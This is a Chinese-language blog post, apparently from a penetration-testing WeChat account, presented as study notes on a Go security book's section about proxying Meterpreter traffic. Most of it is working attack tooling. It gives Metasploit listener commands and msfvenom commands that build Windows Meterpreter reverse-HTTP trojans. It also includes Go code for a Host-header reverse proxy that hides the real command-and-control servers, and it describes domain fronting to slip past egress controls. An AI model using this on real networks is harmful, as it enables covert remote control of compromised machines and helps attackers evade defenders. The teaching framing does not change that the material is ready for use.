GO黑帽子学习笔记-4.4 GO代理Meterpreter
2022-11-2 10:12:40 Author: 渗透安全团队(查看原文) 阅读量:16 收藏

之前正好学习了使用云函数代理cs的流量,来达到隐藏CS的真实ip的目的。然后正好在GO黑帽子这本书的第四章最后一节中也是讲了一下这个云函数的原理,其实也就是个反向的HTTP代理。这样我们可以基于Host HTTP标头动态路由传入Msf会话。

首先,我们的代理会充当重定向器,允许我们仅公开域名和ip地址,而不用公开Metasploit监听器。而我们可以扩展这些概念来实现域前置,它是一种利用可信第三方域(通常来自云服务器提供商)绕过限制性出口控制技术。并且我们会利用代码来让木马通过一个代理来上线不同的msf服务器。

首先,我们使用msf开启反向HTTP监听器。我们本次演示用同一个主机的两个不同的端口来作示例。

use exploit/multi/handler
set payload windows/meterpreter_reverse_http
set LHOST 192.168.1.2
set LPORT 80
set ReverseListenerBindAdderss 192.168.1.2
set ReverseListenerBindPort 10080
exploit -j -z

use exploit/multi/handler
set payload windows/meterpreter_reverse_http
set LHOST 192.168.1.2
set LPORT 80
set ReverseListenerBindAdderss 192.168.1.2
set ReverseListenerBindPort 20080
exploit -j -z

然后我们来编写我们反向服务器的代码,我们的木马首先要访问我们的代理服务器,然后通过我们的代理再将我们的http请求转发到我们的msf服务器上。

package main

import (
"log"
"net/http"
"net/http/httputil"
"net/url"

"github.com/gorilla/mux"
)

var (
hostProxy = make(map[string]string)
proxies = make(map[string]*httputil.ReverseProxy)
)

func init() {
hostProxy["attacker1.com"] = "http://192.168.1.2:10080"
hostProxy["attacker2.com"] = "http://192.168.1.2:20080"

for k, v := range hostProxy {
remote, err := url.Parse(v)
if err != nil {
log.Fatal("Unable to parse proxy target")
}
proxies[k] = httputil.NewSingleHostReverseProxy(remote)
}
}

func main() {
r := mux.NewRouter()
for host, proxy := range proxies {
r.Host(host).Handler(proxy)
}
log.Fatal(http.ListenAndServe(":80", r))
}

首先,我们使用了net/http/httputil包,这个包可以帮助我们快速构建一个反向代理。然后我们来构建一对变量。这两个变量都是映射,我们使用第一个hostProxy将主机名映射到我们希望该主机名路由到的msf监听器url。然后第二个变量proxies也将使用主机名作为键值。但是,它们在映射中的对应值为实例*httputil.ReverseProxy,也就是说,这些值将是可以路由到实际的代理实例,而不是目标的字符串表示形式。

然后我们使用init()函数来进行域名和目标msf服务器之间的映射。我们将attacker1.com的路由请求到192.168.1.2服务器的10080端口,将attacker2.com的路由请求到192.168.1.2的20080端口。然后循环解析目标地址来创建net.URL,并且将其结果用作从URL创建反向代理函数的参数。而且该函数返回值httputil.ReverseProxy属于接口类型http.Handler,也就是说,我们可以利用它直接用阿里当作路由器的处理程序。

最后,我们在main函数中循环,将我们创建好的代理处理程序添加到路由中。而Gorilla MUX工具箱的Route类型包含一个名为Host的匹配函数,通过该函数,我们可以将传入的不同的host值的http请求调用不同的处理程序进行处理。

然后我们使用msf分别创建两个木马。

msfvenom -p windows/meterpreter_reverse_http LHOST=192.168.1.2 LPORT=80 HttpHostHeader=attacker1.com -f exe -o payload1.exe
msfvenom -p windows/meterpreter_reverse_http LHOST=192.168.1.2 LPORT=80 HttpHostHeader=attacker2.com -f exe -o payload2.exe

由于我们实际在内网环境进行测试,并没有真实的使用域名,而我们编写的代理服务器,是将host头中的域名进行检测,来判断向那个msf服务器进行会话的发送,所以我们要在windows的host文件中将我们的attacker1.com、attacker2.com以及其对应的cs端口添加进去。

192.168.1.2 attacker1.com
192.168.1.2 attacker2.com

运行之后就可以看到我们的木马已经上线。

其实在cs中也是一样的道理,我们可以使用这种方法来保护我们的cs服务器真实ip。当然,我们之前说过的腾讯云函数上线也是这个道理,只不过云函数更进一步,会使用不同的网关进行上线。

星 球 免 费 福 利

 转发公众号本文到朋友圈

 截图到公众号后台第1、3、5名获取免费进入星球

星球的最近主题和星球内部工具一些展示

欢 迎 加 入 星 球 !

关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247494170&idx=2&sn=5fe7e58d6b1dac318eae25faa4b5a0ce&chksm=c17617b5f6019ea3cb21ddf07e9ab6e18f23164b68ec9f4fe254409a439d481681b64d2f321e#rd
如有侵权请联系:admin#unsafe.sh